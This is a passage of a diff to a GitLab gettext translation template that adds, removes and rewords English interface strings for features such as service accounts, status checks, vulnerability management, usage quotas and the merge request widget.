-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31648,6 +32208,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31693,6 +32256,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31774,6 +32340,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31831,9 +32400,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31910,9 +32476,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31979,6 +32542,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31994,6 +32578,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -32042,18 +32629,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32422,6 +33000,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32506,9 +33090,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32785,9 +33366,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32806,6 +33384,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32959,9 +33564,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -33106,6 +33708,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33127,7 +33732,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -33136,6 +33741,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33157,6 +33765,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33172,6 +33786,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -34161,10 +34778,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34425,7 +35042,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34461,7 +35078,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34669,9 +35289,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34804,9 +35421,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34861,6 +35475,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34957,9 +35574,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34972,9 +35586,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35350,6 +35961,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35368,12 +35982,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35422,6 +36030,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35476,12 +36090,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35491,6 +36108,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35626,9 +36246,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35671,6 +36288,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35770,7 +36390,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36318,6 +36938,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36342,6 +36965,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36447,10 +37073,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36471,9 +37097,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36534,6 +37157,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36706,7 +37332,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36763,6 +37389,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36961,9 +37593,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -37069,6 +37698,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37153,9 +37785,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37264,6 +37893,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37306,6 +37938,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37315,9 +37950,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37330,9 +37962,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37387,12 +38016,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37402,9 +38025,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37417,9 +38046,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37453,18 +38079,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37510,9 +38124,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37705,9 +38316,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -38011,9 +38619,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38239,6 +38844,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38263,6 +38880,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38364,6 +38984,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38476,6 +39099,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38488,9 +39114,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38506,6 +39129,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38515,7 +39141,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38527,6 +39156,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38551,9 +39183,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38566,10 +39204,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38743,7 +39381,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -39049,6 +39687,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -39061,7 +39702,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39236,6 +39877,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39245,7 +39892,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39359,6 +40006,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39632,13 +40282,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39674,6 +40321,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39704,12 +40354,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39761,6 +40417,13 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39809,6 +40472,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39944,9 +40610,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -40031,7 +40694,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -40097,6 +40760,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40289,6 +40958,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40305,15 +40977,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40323,6 +40989,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40390,9 +41059,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40490,6 +41156,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40523,9 +41192,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40698,6 +41364,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40707,6 +41376,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40732,6 +41404,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40768,6 +41443,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -41148,21 +41826,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41317,9 +41983,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41351,13 +42014,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41369,6 +42032,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41387,9 +42053,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41432,9 +42095,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41469,6 +42129,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41478,12 +42141,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
